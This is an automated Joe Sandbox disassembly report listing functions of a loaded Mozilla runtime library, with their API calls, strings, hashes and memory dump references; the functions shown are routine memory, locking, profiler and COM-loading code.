Opcode ID: 94a04d84b6a6065443662ad5429d8c38d048e5e7fcfd39ba557628c7531f70a7
Instruction ID: 5f5c1d42a55771a2d7e5d26095c48e84803e153f2430652d7825397123f13a50
Opcode Fuzzy Hash: 94a04d84b6a6065443662ad5429d8c38d048e5e7fcfd39ba557628c7531f70a7
Instruction Fuzzy Hash: 1E6105766043459FDB10CF25DA8879AB7F5BFC9308F04892DE88947712EB31E949CB82

Function 6C79B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B6AC

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C79B61E), ref: 6C79B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B79A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 59e101a9ffa8307d751b3cedb255ed2dc4d7f790114b1e1101f1b1017ded62ac
Instruction ID: 0c7d1fce1122575980100adfb6d0c832127bf9a661a873d6660bec771f75c99f
Opcode Fuzzy Hash: 59e101a9ffa8307d751b3cedb255ed2dc4d7f790114b1e1101f1b1017ded62ac
Instruction Fuzzy Hash: 0841D4B2D001159FCB20DF78ED846AEB7B5BB54324F25072AE825E7781E731B90487E1

Function 6C79EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C815104), ref: 6C79EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C79EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C79EFEC
free.MOZGLUE(?), ref: 6C79F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C79F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C79F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C79F065
moz_xmalloc.MOZGLUE ref: 6C79F072

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2fbf4a4a7791a98afe7afa57a611f19c04866ae22ec1f8c851669779eddca2d3
Instruction ID: f1462cc5b4a25358094723fb45f521a78fee5ac13003a60a17fe647ce3517b1b
Opcode Fuzzy Hash: 2fbf4a4a7791a98afe7afa57a611f19c04866ae22ec1f8c851669779eddca2d3
Instruction Fuzzy Hash: 9941D5B1A002059FCB18CF68ED849AE7769BF84324B24063DE816DB795EB31E915C7E1

Function 6C80B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C80B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C80B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C80B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C80B5F4
__Init_thread_footer.LIBCMT ref: 6C80B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C80B61F
std::_Facet_Register.LIBCPMT ref: 6C80B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80B655

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: fe325d99693a9033aa77e45b7b39b3259564bb5059323c181f6c63cbdd3fb70e
Instruction ID: 6b5306441298d96cfe58772241a9efed4acb7f723c5b9b76e59c79752b6ae632
Opcode Fuzzy Hash: fe325d99693a9033aa77e45b7b39b3259564bb5059323c181f6c63cbdd3fb70e
Instruction Fuzzy Hash: C531C3B1B001068FCB20DF69C9599BEB7F5EF8532AF100965D50297B40CB30A806CBD1

Function 6C7CD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C79EB57,?,?,?,?,?,?,?,?,?), ref: 6C7CD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C79EB57,?), ref: 6C7CD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C79EB57,?), ref: 6C7CD673
free.MOZGLUE(?), ref: 6C7CD888

Strings

Wyl, xrefs: 6C7CD5D9, 6C7CD63F
|Enabled, xrefs: 6C7CD81E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wyl$|Enabled
API String ID: 4142949111-2569927531
Opcode ID: bb87696494be5b4b958b0fef589f6f5da971147031b1eb7dc82b1d57d50b8916
Instruction ID: 884f0327ef841d306b1ac610595cf72d674eb1d568a52e97b87c41e024f6ed91
Opcode Fuzzy Hash: bb87696494be5b4b958b0fef589f6f5da971147031b1eb7dc82b1d57d50b8916
Instruction Fuzzy Hash: A9A127B0B0430A8FDB11CF69C5C47AEBBF1AF59318F14806CD8996BB41D731A845CBA6

Function 6C7A9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C7F7ABE), ref: 6C7A985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C7F7ABE), ref: 6C7A98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C7A9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C7A9918
free.MOZGLUE(?), ref: 6C7A9975

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 9cda9d0360cd5f3593e3e46ad103e0ca06bc0c987dc81a3eb8a7bd65a18ef36d
Instruction ID: 011679b24599e597ffdbdc0e8304afaa09ae90c836f16c4df6a2b178b8855afb
Opcode Fuzzy Hash: 9cda9d0360cd5f3593e3e46ad103e0ca06bc0c987dc81a3eb8a7bd65a18ef36d
Instruction Fuzzy Hash: 4271CE746007058FC728CF68C580A56BBF0FF9A3247244B6DE85A8BBA1D732F812CB50

Function 6C7AB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C7ECC83,?,?,?,?,?,?,?,?,?,6C7EBCAE,?,?,6C7DDC2C), ref: 6C7AB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C7ECC83,?,?,?,?,?,?,?,?,?,6C7EBCAE,?,?,6C7DDC2C), ref: 6C7AB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C7ECC83,?,?,?,?,?,?,?,?,?,6C7EBCAE), ref: 6C7AB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C7ECC83,?,?,?,?,?,?,?,?,?,6C7EBCAE,?,?,6C7DDC2C), ref: 6C7AB896

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: ef3cda3827cdf31b10709fa49d0093ca13d21e1c10ea068e7996627102221bd1
Instruction ID: ca9b3539bb41404f3cf9bcd005fb32af4015884c188062265b2899b5085889d1
Opcode Fuzzy Hash: ef3cda3827cdf31b10709fa49d0093ca13d21e1c10ea068e7996627102221bd1
Instruction Fuzzy Hash: 51516C757006048FDB28CF99C694A7ABBF5FF89318B69866DD98687741C731F802CB80

Function 6C7E1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7E1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C7E1BE3,?,?,6C7E1D96,00000000), ref: 6C7E1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C7E1BE3,?,?,6C7E1D96,00000000), ref: 6C7E1D4C
GetCurrentThreadId.KERNEL32 ref: 6C7E1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7E1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7E1DDA

Part of subcall function 6C7E1EF0: GetCurrentThreadId.KERNEL32 ref: 6C7E1F03
Part of subcall function 6C7E1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C7E1DF2,00000000,00000000), ref: 6C7E1F0C
Part of subcall function 6C7E1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C7E1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C7E1DF4

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b1cbd3abdde9ad939e60b234f1dcc25b986c2e992ed79260bfc5ec1a828e2b50
Instruction ID: ddd927fb647bd005ba78eb6aad2a5af995b867ba2f028e64c9c6b06090ab2da5
Opcode Fuzzy Hash: b1cbd3abdde9ad939e60b234f1dcc25b986c2e992ed79260bfc5ec1a828e2b50
Instruction Fuzzy Hash: 6B4159B52007019FCB24DF29C58AA66BBF9FB49318F10442EE95A87B42CB71F854CB91

Function 6C7D84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D85AC

Part of subcall function 6C7D7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7D85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D767F
Part of subcall function 6C7D7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7D85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D7693
Part of subcall function 6C7D7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C7D85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D85B2

Part of subcall function 6C7B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
Part of subcall function 6C7B5E90: memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
Part of subcall function 6C7B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: e40a6854c01631430c042f6cccc029a5babd0623750fa6d2d362a820eb6d9391
Instruction ID: ac8b45a29e1e8537cd3260a78d6a788e7e2f0ad606ed09fe51ddbe185414c562
Opcode Fuzzy Hash: e40a6854c01631430c042f6cccc029a5babd0623750fa6d2d362a820eb6d9391
Instruction Fuzzy Hash: 4E219F742006019FDB24DB28C988A6AB7F5AF4430DF25483DE55BC7B41DB31F948CB91

Function 6C7A1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C7A1699
VerSetConditionMask.NTDLL ref: 6C7A16CB
VerSetConditionMask.NTDLL ref: 6C7A16D7
VerSetConditionMask.NTDLL ref: 6C7A16DE
VerSetConditionMask.NTDLL ref: 6C7A16E5
VerSetConditionMask.NTDLL ref: 6C7A16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C7A16F9

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 5f37572923854a77d3319968f2cad58b28476abb9f945f76059b2a3092633d5b
Instruction ID: 4d682e7792431eae62bc759a7bf22754e854c4adae424531cd4f4e97912ee507
Opcode Fuzzy Hash: 5f37572923854a77d3319968f2cad58b28476abb9f945f76059b2a3092633d5b
Instruction Fuzzy Hash: 2321D5B0740209AFFB205B688D4AFBB73BCEF96708F404528F6059BA91C6749D54CBE1

Function 6C7DF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C7DF598), ref: 6C7DF621

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

GetCurrentThreadId.KERNEL32 ref: 6C7DF637
AcquireSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000,?,6C7DF598), ref: 6C7DF645
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000,?,6C7DF598), ref: 6C7DF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C7DF62A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 25255147dfd668e58bef835ac784677b93baa9921fb113c94b960b97abf3a936
Instruction ID: f82939d8e375473c345f54134cb644ee546eb4ca1b4c2a87e06b5d47fd28e9fa
Opcode Fuzzy Hash: 25255147dfd668e58bef835ac784677b93baa9921fb113c94b960b97abf3a936
Instruction Fuzzy Hash: C011E771204206AFCA14AF59CA4D9E677F9FB9636DF550435EA0683F01CB71B825CBE0

Function 6C7A2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

LoadLibraryW.KERNEL32(combase.dll,6C7A1C5F), ref: 6C7A20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C7A20CD
__Init_thread_footer.LIBCMT ref: 6C7A20E1
FreeLibrary.KERNEL32 ref: 6C7A2124

Strings

combase.dll, xrefs: 6C7A20A9
CoInitializeSecurity, xrefs: 6C7A20C7

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 926399c9aa22c86df1a2985205217fe512502af01d1ca059f430e8d5b30207a3
Instruction ID: c54ef2658641e98d4dca5c15ba2435333a7a1db1b12b6f09b64d344468923517
Opcode Fuzzy Hash: 926399c9aa22c86df1a2985205217fe512502af01d1ca059f430e8d5b30207a3
Instruction Fuzzy Hash: AF21607520010AEFDF21CF96DE4DDDA3BB6FB5A369F104128FA0852A10D73198A2DF91

Function 6C7F76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C7F76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C7F7705

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C7F7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C7F778F,00000000,00000000,00000000,00000000), ref: 6C7F7731
free.MOZGLUE(00000000), ref: 6C7F7760

Strings

}>}l, xrefs: 6C7F76C4

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>}l
API String ID: 2538299546-1215382799
Opcode ID: 2dcbe449f24e508d83549ec3155404fbb6dca8a26566dba9e6b8673bb379bb62
Instruction ID: 3a7213c1ad55d1882cd9f4fa06e83b447a56de76bb54f2d919a3b6d2d2a9631a
Opcode Fuzzy Hash: 2dcbe449f24e508d83549ec3155404fbb6dca8a26566dba9e6b8673bb379bb62
Instruction Fuzzy Hash: EE11C4B1904215ABE710AFBA9D45BABBEE8EF45354F044539F848E7700E7719840C7F2

Function 6C7A1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C7A1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C7A1FFD
__Init_thread_footer.LIBCMT ref: 6C7A2011
FreeLibrary.KERNEL32 ref: 6C7A2059

Strings

combase.dll, xrefs: 6C7A1FD9
CoCreateInstance, xrefs: 6C7A1FF7

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b87a86226aaa10c6de0f5d3e0dbaf48bb131ea223690bc452c10cb94f9b62538
Instruction ID: 62097f6ec0477e7ff79733549442185af35ba66aba79ed77aec580143ccea24a
Opcode Fuzzy Hash: b87a86226aaa10c6de0f5d3e0dbaf48bb131ea223690bc452c10cb94f9b62538
Instruction Fuzzy Hash: D1115CB4205206AFDF30CF56CA4EE963BF9FB56369F004139E90882F40E7309811DBA1

Function 6C7A0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C7CD9F0,00000000), ref: 6C7A0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C7A0F3C
__Init_thread_footer.LIBCMT ref: 6C7A0F50
FreeLibrary.KERNEL32(?,6C7CD9F0,00000000), ref: 6C7A0F86

Strings

combase.dll, xrefs: 6C7A0F18
CoInitializeEx, xrefs: 6C7A0F36

